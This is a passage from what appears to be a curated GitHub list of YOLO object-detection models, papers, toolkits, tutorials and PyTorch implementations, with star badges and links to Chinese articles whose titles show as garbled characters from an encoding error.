- [YOLOv2](https://pjreddie.com/darknet/yolov2) ([Darknet](https://github.com/pjreddie/darknet) <img src="https://img.shields.io/github/stars/pjreddie/darknet?style=social"/>) : "YOLO9000: Better, Faster, Stronger". (**[CVPR 2017](https://openaccess.thecvf.com/content_cvpr_2017/html/Redmon_YOLO9000_Better_Faster_CVPR_2017_paper.html)**)
- [YOLOv3](https://pjreddie.com/darknet/yolo) ([Darknet](https://github.com/pjreddie/darknet) <img src="https://img.shields.io/github/stars/pjreddie/darknet?style=social"/>) : "YOLOv3: An Incremental Improvement". (**[arXiv 2018](https://arxiv.org/abs/1804.02767)**)
- [YOLOv4](https://github.com/AlexeyAB/darknet) <img src="https://img.shields.io/github/stars/AlexeyAB/darknet?style=social"/> ([WongKinYiu/PyTorch_YOLOv4](https://github.com/WongKinYiu/PyTorch_YOLOv4) <img src="https://img.shields.io/github/stars/WongKinYiu/PyTorch_YOLOv4?style=social"/>) : "YOLOv4: Optimal Speed and Accuracy of Object Detection". (**[arXiv 2020](https://arxiv.org/abs/2004.10934)**)
- [Scaled-YOLOv4](https://github.com/AlexeyAB/darknet) <img src="https://img.shields.io/github/stars/AlexeyAB/darknet?style=social"/> ([WongKinYiu/ScaledYOLOv4](https://github.com/WongKinYiu/ScaledYOLOv4) <img src="https://img.shields.io/github/stars/WongKinYiu/ScaledYOLOv4?style=social"/>) : "Scaled-YOLOv4: Scaling Cross Stage Partial Network". (**[CVPR 2021](https://openaccess.thecvf.com/content/CVPR2021/html/Wang_Scaled-YOLOv4_Scaling_Cross_Stage_Partial_Network_CVPR_2021_paper.html)**)
- [YOLOv5](https://github.com/ultralytics/yolov5) <img src="https://img.shields.io/github/stars/ultralytics/yolov5?style=social"/> : YOLOv5 ๐ in PyTorch > ONNX > CoreML > TFLite. [docs.ultralytics.com](https://docs.ultralytics.com/). YOLOv5 ๐ is the world's most loved vision AI, representing [Ultralytics](https://ultralytics.com/) open-source research into future vision AI methods, incorporating lessons learned and best practices evolved over thousands of hours of research and development.
- [YOLOX](https://github.com/Megvii-BaseDetection/YOLOX) <img src="https://img.shields.io/github/stars/Megvii-BaseDetection/YOLOX?style=social"/> : "YOLOX: Exceeding YOLO Series in 2021". (**[arXiv 2021](https://arxiv.org/abs/2107.08430)**)
- [YOLOR](https://github.com/WongKinYiu/yolor) <img src="https://img.shields.io/github/stars/WongKinYiu/yolor?style=social"/> : "You Only Learn One Representation: Unified Network for Multiple Tasks". (**[arXiv 2021](https://arxiv.org/abs/2105.04206)**)
- [YOLOF](https://github.com/megvii-model/YOLOF) <img src="https://img.shields.io/github/stars/megvii-model/YOLOF?style=social"/> : "You Only Look One-level Feature". (**[CVPR 2021](https://openaccess.thecvf.com/content/CVPR2021/html/Chen_You_Only_Look_One-Level_Feature_CVPR_2021_paper.html)**). "ๅพฎไฟกๅ
ฌไผๅทใ่ฎก็ฎๆบ่ง่ง็ ็ฉถ้ขใใ[CVPR็ฎๆ ๆฃๆตๆฐๆกๆถ๏ผไธๅๆฏYOLO๏ผ่ๆฏๅช้่ฆไธๅฑ็นๅพ๏ผๅนฒ่ดงๆปกๆปก๏ผๅปบ่ฎฎๆถ่๏ผ](https://mp.weixin.qq.com/s/5sTxdjhKIPpQ-rCsWfe80A)ใ"ใ
- [YOLOS](https://github.com/hustvl/YOLOS) <img src="https://img.shields.io/github/stars/hustvl/YOLOS?style=social"/> : "You Only Look at One Sequence: Rethinking Transformer in Vision through Object Detection". (**[NeurIPS 2021](https://proceedings.neurips.cc//paper/2021/hash/dc912a253d1e9ba40e2c597ed2376640-Abstract.html)**)
- [YOLOv6](https://github.com/meituan/YOLOv6) <img src="https://img.shields.io/github/stars/meituan/YOLOv6?style=social"/> : "YOLOv6: A Single-Stage Object Detection Framework for Industrial Applications". (**[arXiv 2022](https://arxiv.org/abs/2209.02976)**). "ๅพฎไฟกๅ
ฌไผๅทใ็พๅขๆๆฏๅข้ใใ[YOLOv6๏ผๅๅฟซๅๅ็็ฎๆ ๆฃๆตๆกๆถๅผๆบๅฆ](https://mp.weixin.qq.com/s/RrQCP4pTSwpTmSgvly9evg)ใ"ใ"ๅพฎไฟกๅ
ฌไผๅทใ็พๅขๆๆฏๅข้ใใ[็ฎๆ ๆฃๆตๅผๆบๆกๆถYOLOv6ๅ
จ้ขๅ็บง๏ผๆดๅฟซๆดๅ็2.0็ๆฌๆฅๅฆ](https://mp.weixin.qq.com/s/9FyvWrHErfgJrVXIC_PKqg)ใ"ใ"ๅพฎไฟกๅ
ฌไผๅทใ็พๅขๆๆฏๅข้ใใ[้็จ็ฎๆ ๆฃๆตๅผๆบๆกๆถYOLOv6ๅจ็พๅข็้ๅ้จ็ฝฒๅฎๆ ](https://mp.weixin.qq.com/s/J-3saNkCCAHLjkZQ3VCaeQ)ใ"ใ "ๅพฎไฟกๅ
ฌไผๅทใ้ๆบไนฆ็ซฅใใ[่ถ
่ถYOLOv7 | YOLOv6่ฎบๆๆพๅบ๏ผ้ๅ+่ช่ธ้ฆ+ๆ็ฅ้ๅ+...ๅ็งTricksๅคงๆพๅผๅฝฉ](https://mp.weixin.qq.com/s/DPHC7bO1Q-IKDUqPU7DSJA)ใ"ใ"ๅพฎไฟกๅ
ฌไผๅทใๆๅธๅนณๅฐใใ[Repvgg-style ConvNets๏ผ็กฌไปถๅๅฅฝ๏ผ่ฏฆ่งฃYOLOv6็้ซๆbackbone๏ผEfficientRep](https://mp.weixin.qq.com/s/2Md30QdqgWnWwVR7d4sx1Q)ใ"ใ
- [YOLOv7](https://github.com/WongKinYiu/yolov7) <img src="https://img.shields.io/github/stars/WongKinYiu/yolov7?style=social"/> : "YOLOv7: Trainable bag-of-freebies sets new state-of-the-art for real-time object detectors". (**[CVPR 2023](https://arxiv.org/abs/2207.02696)**). "ๅพฎไฟกๅ
ฌไผๅทใCVerใใ[CVPR 2023 | YOLOv7ๅผบๅฟๆถๅฝ๏ผๆถ้6ๅนด๏ผYOLOv็ณปๅๅ็ปCVPR๏ผ](https://mp.weixin.qq.com/s/HjaszZYPLoV03Z4Rw9KiCg)ใ"ใ
- [DAMO-YOLO](https://github.com/tinyvision/DAMO-YOLO) <img src="https://img.shields.io/github/stars/tinyvision/DAMO-YOLO?style=social"/> : DAMO-YOLO: a fast and accurate object detection method with some new techs, including NAS backbones, efficient RepGFPN, ZeroHead, AlignedOTA, and distillation enhancement. "DAMO-YOLO : A Report on Real-Time Object Detection Design". (**[arXiv 2022](https://arxiv.org/abs/2211.15444)**)
- [DynamicDet](https://github.com/VDIGPKU/DynamicDet) <img src="https://img.shields.io/github/stars/VDIGPKU/DynamicDet?style=social"/> : "DynamicDet: A Unified Dynamic Architecture for Object Detection". (**[CVPR 2023](https://arxiv.org/abs/2304.05552)**)
- [EdgeYOLO](https://github.com/LSH9832/edgeyolo) <img src="https://img.shields.io/github/stars/LSH9832/edgeyolo?style=social"/> : EdgeYOLO: anchor-free, edge-friendly. an edge-real-time anchor-free object detector with decent performance. "Edge YOLO: Real-time intelligent object detection system based on edge-cloud cooperation in autonomous vehicles". (**[IEEE Transactions on Intelligent Transportation Systems, 2022](https://ieeexplore.ieee.org/abstract/document/9740044)**). "EdgeYOLO: An Edge-Real-Time Object Detector". (**[arXiv 2023](https://arxiv.org/abs/2302.07483)**)
- [RT-DETR](https://github.com/PaddlePaddle/PaddleDetection/tree/develop/configs/rtdetr) <img src="https://img.shields.io/github/stars/PaddlePaddle/PaddleDetection?style=social"/> : "DETRs Beat YOLOs on Real-time Object Detection". (**[arXiv 2023](https://arxiv.org/abs/2304.08069)**). "ๅพฎไฟกๅ
ฌไผๅทใ้ๆบไนฆ็ซฅใใ[YOLO่ถ
ๅฟซๆถไปฃ็ป็ปไบ | RT-DETR็จ114FPSๅฎ็ฐ54.8AP๏ผ่ฟ่ถ
YOLOv8](https://mp.weixin.qq.com/s/V3MUXinJhpq8J4UWTUL17w)ใ"ใ
- [YOLO-NAS](https://github.com/Deci-AI/super-gradients) <img src="https://img.shields.io/github/stars/Deci-AI/super-gradients?style=social"/> : Easily train or fine-tune SOTA computer vision models with one open source training library. The home of [Yolo-NAS](https://github.com/Deci-AI/super-gradients/blob/master/YOLONAS.md). [www.supergradients.com](https://www.supergradients.com/). YOLO-NAS: A Next-Generation, Object Detection Foundational Model generated by Deciโs Neural Architecture Search Technology. Deci is thrilled to announce the release of a new object detection model, YOLO-NAS - a game-changer in the world of object detection, providing superior real-time object detection capabilities and production-ready performance. Deci's mission is to provide AI teams with tools to remove development barriers and attain efficient inference performance more quickly. The new YOLO-NAS delivers state-of-the-art (SOTA) performance with the unparalleled accuracy-speed performance, outperforming other models such as YOLOv5, YOLOv6, YOLOv7 and YOLOv8.
- [YOLO-World](https://github.com/AILab-CVC/YOLO-World) <img src="https://img.shields.io/github/stars/AILab-CVC/YOLO-World?style=social"/> : "YOLO-World: Real-Time Open-Vocabulary Object Detection". (**[CVPR 2024](https://arxiv.org/abs/2401.17270)**). [www.yoloworld.cc](https://www.yoloworld.cc/)
- [YOLOv8](https://github.com/ultralytics/ultralytics) <img src="https://img.shields.io/github/stars/ultralytics/ultralytics?style=social"/> : NEW - YOLOv8 ๐ in PyTorch > ONNX > CoreML > TFLite. [Ultralytics](https://ultralytics.com/) [YOLOv8](https://github.com/ultralytics/ultralytics) is a cutting-edge, state-of-the-art (SOTA) model that builds upon the success of previous YOLO versions and introduces new features and improvements to further boost performance and flexibility. YOLOv8 is designed to be fast, accurate, and easy to use, making it an excellent choice for a wide range of object detection and tracking, instance segmentation, image classification and pose estimation tasks. [docs.ultralytics.com](https://docs.ultralytics.com/)
- [YOLOv9](https://github.com/WongKinYiu/yolov9) <img src="https://img.shields.io/github/stars/WongKinYiu/yolov9?style=social"/> : "YOLOv9: Learning What You Want to Learn Using Programmable Gradient Information". (**[arXiv 2024](https://arxiv.org/abs/2402.13616)**)
- [YOLOv10](https://github.com/THU-MIG/yolov10) <img src="https://img.shields.io/github/stars/THU-MIG/yolov10?style=social"/> : "YOLOv10: Real-Time End-to-End Object Detection". (**[arXiv 2024](https://arxiv.org/abs/2405.14458v1)**)
- [LeYOLO](https://github.com/LilianHollard/LeYOLO) <img src="https://img.shields.io/github/stars/LilianHollard/LeYOLO?style=social"/> : "LeYOLO, New Scalable and Efficient CNN Architecture for Object Detection". (**[arXiv 2024](https://arxiv.org/abs/2406.14239)**)
- ### Awesome List
- [awesome-yolo-object-detection](https://github.com/codingonion/awesome-yolo-object-detection) <img src="https://img.shields.io/github/stars/codingonion/awesome-yolo-object-detection?style=social"/> : ๐๐๐ A collection of some awesome YOLO object detection series projects.
- [srebroa/awesome-yolo](https://github.com/srebroa/awesome-yolo) <img src="https://img.shields.io/github/stars/srebroa/awesome-yolo?style=social"/> : ๐ โญ The list of the most popular YOLO algorithms - awesome YOLO.
- [Bubble-water/YOLO-Summary](https://github.com/Bubble-water/YOLO-Summary) <img src="https://img.shields.io/github/stars/Bubble-water/YOLO-Summary?style=social"/> : YOLO-Summary.
- [WZMIAOMIAO/deep-learning-for-image-processing](https://github.com/WZMIAOMIAO/deep-learning-for-image-processing) <img src="https://img.shields.io/github/stars/WZMIAOMIAO/deep-learning-for-image-processing?style=social"/> : deep learning for image processing including classification and object-detection etc.
- [hoya012/deep_learning_object_detection](https://github.com/hoya012/deep_learning_object_detection) <img src="https://img.shields.io/github/stars/hoya012/deep_learning_object_detection?style=social"/> : A paper list of object detection using deep learning.
- [amusi/awesome-object-detection](https://github.com/amusi/awesome-object-detection) <img src="https://img.shields.io/github/stars/amusi/awesome-object-detection?style=social"/> : Awesome Object Detection.
- ### Paper and Code Overview
- #### Paper Review
- [52CV/CV-Surveys](https://github.com/52CV/CV-Surveys) <img src="https://img.shields.io/github/stars/52CV/CV-Surveys?style=social"/> : ่ฎก็ฎๆบ่ง่ง็ธๅ
ณ็ปผ่ฟฐใๅ
ๆฌ็ฎๆ ๆฃๆตใ่ท่ธช........
- [GreenTeaHua/YOLO-Review](https://github.com/GreenTeaHua/YOLO-Review) <img src="https://img.shields.io/github/stars/GreenTeaHua/YOLO-Review?style=social"/> : "A Review of YOLO Object Detection Based on Deep Learning". "ๅบไบๆทฑๅบฆๅญฆไน ็YOLO็ฎๆ ๆฃๆต็ปผ่ฟฐ". (**[Journal of Electronics & Information Technology 2022](https://jeit.ac.cn/cn/article/doi/10.11999/JEIT210790)**)
- "A Review of Yolo Algorithm Developments". (**[Procedia Computer Science 2022](https://www.sciencedirect.com/science/article/pii/S1877050922001363)**)
- #### Code Review
- [MMDetection](https://github.com/open-mmlab/mmdetection) <img src="https://img.shields.io/github/stars/open-mmlab/mmdetection?style=social"/> : OpenMMLab Detection Toolbox and Benchmark. [mmdetection.readthedocs.io](https://mmdetection.readthedocs.io/en/latest/). (**[arXiv 2019](https://arxiv.org/abs/1906.07155)**)
- [MMYOLO](https://github.com/open-mmlab/mmyolo) <img src="https://img.shields.io/github/stars/open-mmlab/mmyolo?style=social"/> : OpenMMLab YOLO series toolbox and benchmark. Implemented RTMDet, RTMDet-Rotated,YOLOv5, YOLOv6, YOLOv7, YOLOv8, YOLOX, PPYOLOE, etc. [mmyolo.readthedocs.io/zh_CN/dev/](https://mmyolo.readthedocs.io/zh_CN/dev/)
- [ultralyticsPro](https://github.com/iscyy/ultralyticsPro) <img src="https://img.shields.io/github/stars/iscyy/ultralyticsPro?style=social"/> : ๐ฅ๐ฅ๐ฅไธๆณจไบๆน่ฟYOLOv8ๆจกๅ๏ผNEW - YOLOv8 ๐ RT-DETR ๐ฅ in PyTorch >, Support to improve backbone, neck, head, loss, IoU, NMS and other modules๐
- [YOLOAir](https://github.com/iscyy/yoloair) <img src="https://img.shields.io/github/stars/iscyy/yoloair?style=social"/> : YOLO Air : Makes improvements easy again. ๐ฅ๐ฅ๐ฅYOLOv5, YOLOv6, YOLOv7, YOLOv8, PPYOLOE, YOLOX, YOLOR, YOLOv4, YOLOv3, Transformer, Attention, TOOD and Improved-YOLOv5-YOLOv7... Support to improve backbone, neck, head, loss, IoU, NMS and other modules๐. YOLOAirๆฏไธไธชๅบไบPyTorch็YOLO็ฎๆณๅบใ็ปไธๆจกๅไปฃ็ ๆกๆถใ็ปไธๅบ็จใ็ปไธๆน่ฟใๆไบๆจกๅ็ปๅใๆๅปบๆดๅผบๅคง็็ฝ็ปๆจกๅใ "ๅพฎไฟกๅ
ฌไผๅทใFightingCVใใ[YOLOAir | ้ขๅๅฐ็ฝ็็ฎๆ ๆฃๆตๅบ๏ผๆดๅฟซๆดๆนไพฟๆดๅฎๆด็YOLOๅบ](https://mp.weixin.qq.com/s/smwx-Ievs3rWMw_D4lSwqg)ใ"ใ "ๅพฎไฟกๅ
ฌไผๅทใๆ็ฑ่ฎก็ฎๆบ่ง่งใใ[้ๆๅค็งYOLOๆน่ฟ็น๏ผ้ขๅๅฐ็ฝ็ง็ ็YOLOๆฃๆตไปฃ็ ๅบYOLOAir](https://mp.weixin.qq.com/s/EEJrnfnTn7wAcEpVPx06BQ)ใ"
- [YOLOAir2](https://github.com/iscyy/yoloair2) <img src="https://img.shields.io/github/stars/iscyy/yoloair2?style=social"/> : YOLOAir2โ๏ธ๐ก๐ : Makes improvements easy again. โ๏ธ๐ก๐YOLOAir2 is the second version of the YOLOAir series, The framework is based on YOLOv7, including YOLOv7, YOLOv8, YOLOv6, YOLOv5, YOLOX, YOLOR, YOLOv4, YOLOv3, Transformer, Attention and Improved-YOLOv7... Support to improve Backbone, Neck, Head, Loss, IoU, NMS and other modules.
- [YOLOU](https://github.com/jizhishutong/YOLOU) <img src="https://img.shields.io/github/stars/jizhishutong/YOLOU?style=social"/> : YOLOU๏ผUnited, Study and easier to Deploy. โ The purpose of our creation of YOLOU is to better learn the algorithms of the YOLO series and pay tribute to our predecessors. YOLOv3ใYOLOv4ใYOLOv5ใYOLOv5-LiteใYOLOv6-v1ใYOLOv6-v2ใYOLOv7ใYOLOXใYOLOX-LiteใPP-YOLOEใPP-PicoDet-PlusใYOLO-Fastest v2ใFastestDetใYOLOv5-SPDใTensorRTใNCNNใTengineใOpenVINO. "ๅพฎไฟกๅ
ฌไผๅทใ้ๆบไนฆ็ซฅใใ[YOLOUๅผๆบ | ๆฑ้YOLO็ณปๅๆๆ็ฎๆณ๏ผ้็ฎๆณๅญฆไน ใ็ง็ ๆน่ฟใ่ฝๅฐไบไธ่บซ๏ผ](https://mp.weixin.qq.com/s/clupheQ8iHnhR4FJcTtB8A)ใ"
- [YOLOMagic](https://github.com/WangQvQ/Yolov5_Magic) <img src="https://img.shields.io/github/stars/WangQvQ/Yolov5_Magic?style=social"/> : YOLO Magic๐ช is an extension based on Ultralytics' YOLOv5, designed to provide more powerful functionality and simpler operations for visual tasks.
- [positive666/yolo_research](https://github.com/positive666/yolo_research) <img src="https://img.shields.io/github/stars/positive666/yolo_research?style=social"/> : ๐ yolo_reserach PLUS High-level. based on yolo-high-level project (detect\pose\classify\segment\):include yolov5\yolov7\yolov8\ core ,improvement research ,SwintransformV2 and Attention Series. training skills, business customization, engineering deployment.
- [augmentedstartups/AS-One](https://github.com/augmentedstartups/AS-One) <img src="https://img.shields.io/github/stars/augmentedstartups/AS-One?style=social"/> : Easy & Modular Computer Vision Detectors and Trackers - Run YOLO-NAS,v8,v7,v6,v5,R,X in under 20 lines of code. [www.augmentedstartups.com](https://www.augmentedstartups.com/)
- [Oneflow-Inc/one-yolov5](https://github.com/Oneflow-Inc/one-yolov5) <img src="https://img.shields.io/github/stars/Oneflow-Inc/one-yolov5?style=social"/> : A more efficient yolov5 with oneflow backend ๐๐๐. "ๅพฎไฟกๅ
ฌไผๅทใGiantPandaCVใใ[One-YOLOv5 ๅๅธ๏ผไธไธช่ฎญๅพๆดๅฟซ็YOLOv5](https://mp.weixin.qq.com/s/tZ7swUd0biz7G3CiRkHHfw)ใ"
- [PaddleYOLO](https://github.com/PaddlePaddle/PaddleYOLO) <img src="https://img.shields.io/github/stars/PaddlePaddle/PaddleYOLO?style=social"/> : ๐๐๐ YOLO series of PaddlePaddle implementation, PP-YOLOE+, YOLOv5, YOLOv6, YOLOv7, YOLOv8, YOLOX, YOLOv5u, YOLOv7u, RTMDet and so on. ๐๐๐
- [BestYOLO](https://github.com/WangRongsheng/BestYOLO) <img src="https://img.shields.io/github/stars/WangRongsheng/BestYOLO?style=social"/> : ๐Change the world, it will become a better place. | ไปฅ็ง็ ๅ็ซ่ตไธบๅฏผๅ็ๆๅฅฝ็YOLOๅฎ่ทตๆกๆถ!
- [Cver4s](https://github.com/KangChou/Cver4s) <img src="https://img.shields.io/github/stars/KangChou/Cver4s?style=social"/> : Cver4s๏ผComputer vision algorithm code base.
- ### Learning Resources
- [KuiperInfer (่ชๅถๆทฑๅบฆๅญฆไน ๆจ็ๆกๆถ)](https://github.com/zjhellofss/KuiperInfer) <img src="https://img.shields.io/github/stars/zjhellofss/KuiperInfer?style=social"/> : ๅธฆไฝ ไป้ถๅฎ็ฐไธไธช้ซๆง่ฝ็ๆทฑๅบฆๅญฆไน ๆจ็ๅบ๏ผๆฏๆllama ใUnetใYolov5ใResnet็ญๆจกๅ็ๆจ็ใImplement a high-performance deep learning inference library step by step.
- [kuiperdatawhale](https://github.com/zjhellofss/kuiperdatawhale) <img src="https://img.shields.io/github/stars/zjhellofss/kuiperdatawhale?style=social"/> : ไป้ถ่ชๅถๆทฑๅบฆๅญฆไน ๆจ็ๆกๆถใ
- [roboflow/notebooks](https://github.com/roboflow/notebooks) <img src="https://img.shields.io/github/stars/roboflow/notebooks?style=social"/> : Examples and tutorials on using SOTA computer vision models and techniques. Learn everything from old-school ResNet, through YOLO and object-detection transformers like DETR, to the latest models like Grounding DINO and SAM. [roboflow.com/models](https://roboflow.com/models)
- [yjh0410/PyTorch_YOLO_Tutorial](https://github.com/yjh0410/PyTorch_YOLO_Tutorial) <img src="https://img.shields.io/github/stars/yjh0410/PyTorch_YOLO_Tutorial?style=social"/> : YOLO Tutorial.
- [HuKai97/yolov5-5.x-annotations](https://github.com/HuKai97/yolov5-5.x-annotations) <img src="https://img.shields.io/github/stars/HuKai97/yolov5-5.x-annotations?style=social"/> : ไธไธชๅบไบyolov5-5.0็ไธญๆๆณจ้็ๆฌ๏ผ
- [crkk-feng/yolov5-annotations](https://github.com/crkk-feng/yolov5-annotations) <img src="https://img.shields.io/github/stars/crkk-feng/yolov5-annotations?style=social"/> : A Chinese annotated version of yolov5-5.0.
- [XiaoJiNu/yolov5-v6-chinese-comment](https://github.com/XiaoJiNu/yolov5-v6-chinese-comment) <img src="https://img.shields.io/github/stars/XiaoJiNu/yolov5-v6-chinese-comment?style=social"/> : yolov5-v6็ๆฌๆณจ้ใ
- [1131624548/About-YOLOv5-7-0](https://github.com/1131624548/About-YOLOv5-7-0) <img src="https://img.shields.io/github/stars/XiaoJiNu/yolov5-v6-chinese-comment?style=social"/> : YOLOv5ไปฃ็ ๆณจ้ใ
- [zyds/yolov5-code](https://github.com/zyds/yolov5-code) <img src="https://img.shields.io/github/stars/zyds/yolov5-code?style=social"/> : ๆๆๆๅธฆไฝ ๅฎๆ YOLOv5ใ
## Extensional Frameworks
- [EasyCV](https://github.com/alibaba/EasyCV) <img src="https://img.shields.io/github/stars/alibaba/EasyCV?style=social"/> : An all-in-one toolkit for computer vision. "YOLOX-PAI: An Improved YOLOX, Stronger and Faster than YOLOv6". (**[arXiv 2022](https://arxiv.org/abs/2208.13040)**). "ๅพฎไฟกๅ
ฌไผๅทใ้ๆบไนฆ็ซฅใใ[YOLOXๅ็บง | ้ฟ้ๅทดๅทดๆๅบYOLOX-PAI๏ผ1msๅ
็ฒพๅบฆๆ ๆ๏ผ่ถ
่ถYOLOv6ใPP-YOLOE](https://mp.weixin.qq.com/s/bIu3cYyZ-fVb5iB0bTfyug)ใ"
- [YOLACT & YOLACT++](https://github.com/dbolya/yolact) <img src="https://img.shields.io/github/stars/dbolya/yolact?style=social"/> : You Only Look At CoefficienTs. (**[ICCV 2019](https://openaccess.thecvf.com/content_ICCV_2019/html/Bolya_YOLACT_Real-Time_Instance_Segmentation_ICCV_2019_paper.html), [IEEE TPAMI 2020](https://ieeexplore.ieee.org/abstract/document/9159935)**)
- [Alpha-IoU](https://github.com/Jacobi93/Alpha-IoU) <img src="https://img.shields.io/github/stars/Jacobi93/Alpha-IoU?style=social"/> : "Alpha-IoU: A Family of Power Intersection over Union Losses for Bounding Box Regression". (**[NeurIPS 2021](https://proceedings.neurips.cc//paper/2021/hash/a8f15eda80c50adb0e71943adc8015cf-Abstract.html)**)
- [CIoU](https://github.com/Zzh-tju/CIoU) <img src="https://img.shields.io/github/stars/Zzh-tju/CIoU?style=social"/> : Complete-IoU (CIoU) Loss and Cluster-NMS for Object Detection and Instance Segmentation (YOLACT). (**[AAAI 2020](https://ojs.aaai.org/index.php/AAAI/article/view/6999), [IEEE TCYB 2021](https://ieeexplore.ieee.org/abstract/document/9523600)**)
- [Albumentations](https://github.com/albumentations-team/albumentations) <img src="https://img.shields.io/github/stars/albumentations-team/albumentations?style=social"/> : Albumentations is a Python library for image augmentation. Image augmentation is used in deep learning and computer vision tasks to increase the quality of trained models. The purpose of image augmentation is to create new training samples from the existing data. "Albumentations: Fast and Flexible Image Augmentations". (**[Information 2020](https://www.mdpi.com/2078-2489/11/2/125)**)
- [doubleZ0108/Data-Augmentation](https://github.com/doubleZ0108/Data-Augmentation) <img src="https://img.shields.io/github/stars/doubleZ0108/Data-Augmentation?style=social"/> : General Data Augmentation Algorithms for Object Detection(esp. Yolo).
## Other Versions of YOLO
- ### PyTorch Implementation
- [ultralytics/yolov3](https://github.com/ultralytics/yolov3) <img src="https://img.shields.io/github/stars/ultralytics/yolov3?style=social"/> : YOLOv3 in PyTorch > ONNX > CoreML > TFLite.
- [eriklindernoren/PyTorch-YOLOv3](https://github.com/eriklindernoren/PyTorch-YOLOv3) <img src="https://img.shields.io/github/stars/eriklindernoren/PyTorch-YOLOv3?style=social"/> : Minimal PyTorch implementation of YOLOv3.
- [Tianxiaomo/pytorch-YOLOv4](https://github.com/Tianxiaomo/pytorch-YOLOv4) <img src="https://img.shields.io/github/stars/Tianxiaomo/pytorch-YOLOv4?style=social"/> : PyTorch ,ONNX and TensorRT implementation of YOLOv4.
- [ayooshkathuria/pytorch-yolo-v3](https://github.com/ayooshkathuria/pytorch-yolo-v3) <img src="https://img.shields.io/github/stars/ayooshkathuria/pytorch-yolo-v3?style=social"/> : A PyTorch implementation of the YOLO v3 object detection algorithm.
- [WongKinYiu/PyTorch_YOLOv4](https://github.com/WongKinYiu/PyTorch_YOLOv4) <img src="https://img.shields.io/github/stars/WongKinYiu/PyTorch_YOLOv4?style=social"/> : PyTorch implementation of YOLOv4.
- [argusswift/YOLOv4-pytorch](https://github.com/argusswift/YOLOv4-pytorch) <img src="https://img.shields.io/github/stars/argusswift/YOLOv4-pytorch?style=social"/> : This is a pytorch repository of YOLOv4, attentive YOLOv4 and mobilenet YOLOv4 with PASCAL VOC and COCO.
- [longcw/yolo2-pytorch](https://github.com/longcw/yolo2-pytorch) <img src="https://img.shields.io/github/stars/longcw/yolo2-pytorch?style=social"/> : YOLOv2 in PyTorch.
- [bubbliiiing/yolov5-v6.1-pytorch](https://github.com/bubbliiiing/yolov5-v6.1-pytorch) <img src="https://img.shields.io/github/stars/bubbliiiing/yolov5-v6.1-pytorch?style=social"/> : ่ฟๆฏไธไธชyolov5-v6.1-pytorch็ๆบ็ ๏ผๅฏไปฅ็จไบ่ฎญ็ป่ชๅทฑ็ๆจกๅใ
- [bubbliiiing/yolov5-pytorch](https://github.com/bubbliiiing/yolov5-pytorch) <img src="https://img.shields.io/github/stars/bubbliiiing/yolov5-pytorch?style=social"/> : ่ฟๆฏไธไธชYoloV5-pytorch็ๆบ็ ๏ผๅฏไปฅ็จไบ่ฎญ็ป่ชๅทฑ็ๆจกๅใ
- [bubbliiiing/yolov4-pytorch](https://github.com/bubbliiiing/yolov4-pytorch) <img src="https://img.shields.io/github/stars/bubbliiiing/yolov4-pytorch?style=social"/> : ่ฟๆฏไธไธชYoloV4-pytorch็ๆบ็ ๏ผๅฏไปฅ็จไบ่ฎญ็ป่ชๅทฑ็ๆจกๅใ
- [bubbliiiing/yolov4-tiny-pytorch](https://github.com/bubbliiiing/yolov4-tiny-pytorch) <img src="https://img.shields.io/github/stars/bubbliiiing/yolov4-tiny-pytorch?style=social"/> : ่ฟๆฏไธไธชYoloV4-tiny-pytorch็ๆบ็ ๏ผๅฏไปฅ็จไบ่ฎญ็ป่ชๅทฑ็ๆจกๅใ
- [bubbliiiing/yolov3-pytorch](https://github.com/bubbliiiing/yolo3-pytorch) <img src="https://img.shields.io/github/stars/bubbliiiing/yolo3-pytorch?style=social"/> : ่ฟๆฏไธไธชyolo3-pytorch็ๆบ็ ๏ผๅฏไปฅ็จไบ่ฎญ็ป่ชๅทฑ็ๆจกๅใ
- [bubbliiiing/yolox-pytorch](https://github.com/bubbliiiing/yolox-pytorch) <img src="https://img.shields.io/github/stars/bubbliiiing/yolox-pytorch?style=social"/> : ่ฟๆฏไธไธชyolox-pytorch็ๆบ็ ๏ผๅฏไปฅ็จไบ่ฎญ็ป่ชๅทฑ็ๆจกๅใ
- [bubbliiiing/yolov7-pytorch](https://github.com/bubbliiiing/yolov7-pytorch) <img src="https://img.shields.io/github/stars/bubbliiiing/yolov7-pytorch?style=social"/> : ่ฟๆฏไธไธชyolov7็ๅบ๏ผๅฏไปฅ็จไบ่ฎญ็ป่ชๅทฑ็ๆฐๆฎ้ใ
- [bubbliiiing/yolov8-pytorch](https://github.com/bubbliiiing/yolov8-pytorch) <img src="https://img.shields.io/github/stars/bubbliiiing/yolov8-pytorch?style=social"/> : ่ฟๆฏไธไธชyolov8-pytorch็ไปๅบ๏ผๅฏไปฅ็จไบ่ฎญ็ป่ชๅทฑ็ๆฐๆฎ้ใ
- [BobLiu20/YOLOv3_PyTorch](https://github.com/BobLiu20/YOLOv3_PyTorch) <img src="https://img.shields.io/github/stars/BobLiu20/YOLOv3_PyTorch?style=social"/> : Full implementation of YOLOv3 in PyTorch.
- [ruiminshen/yolo2-pytorch](https://github.com/ruiminshen/yolo2-pytorch) <img src="https://img.shields.io/github/stars/ruiminshen/yolo2-pytorch?style=social"/> : PyTorch implementation of the YOLO (You Only Look Once) v2.
- [DeNA/PyTorch_YOLOv3](https://github.com/DeNA/PyTorch_YOLOv3) <img src="https://img.shields.io/github/stars/DeNA/PyTorch_YOLOv3?style=social"/> : Implementation of YOLOv3 in PyTorch.
- [abeardear/pytorch-YOLO-v1](https://github.com/abeardear/pytorch-YOLO-v1) <img src="https://img.shields.io/github/stars/abeardear/pytorch-YOLO-v1?style=social"/> : an experiment for yolo-v1, including training and testing.
- [wuzhihao7788/yolodet-pytorch](https://github.com/wuzhihao7788/yolodet-pytorch) <img src="https://img.shields.io/github/stars/wuzhihao7788/yolodet-pytorch?style=social"/> : reproduce the YOLO series of papers in pytorch, including YOLOv4, PP-YOLO, YOLOv5๏ผYOLOv3, etc.
- [uvipen/Yolo-v2-pytorch](https://github.com/uvipen/Yolo-v2-pytorch) <img src="https://img.shields.io/github/stars/uvipen/Yolo-v2-pytorch?style=social"/> : YOLO for object detection tasks.
- [Peterisfar/YOLOV3](https://github.com/Peterisfar/YOLOV3) <img src="https://img.shields.io/github/stars/Peterisfar/YOLOV3?style=social"/> : yolov3 by pytorch.
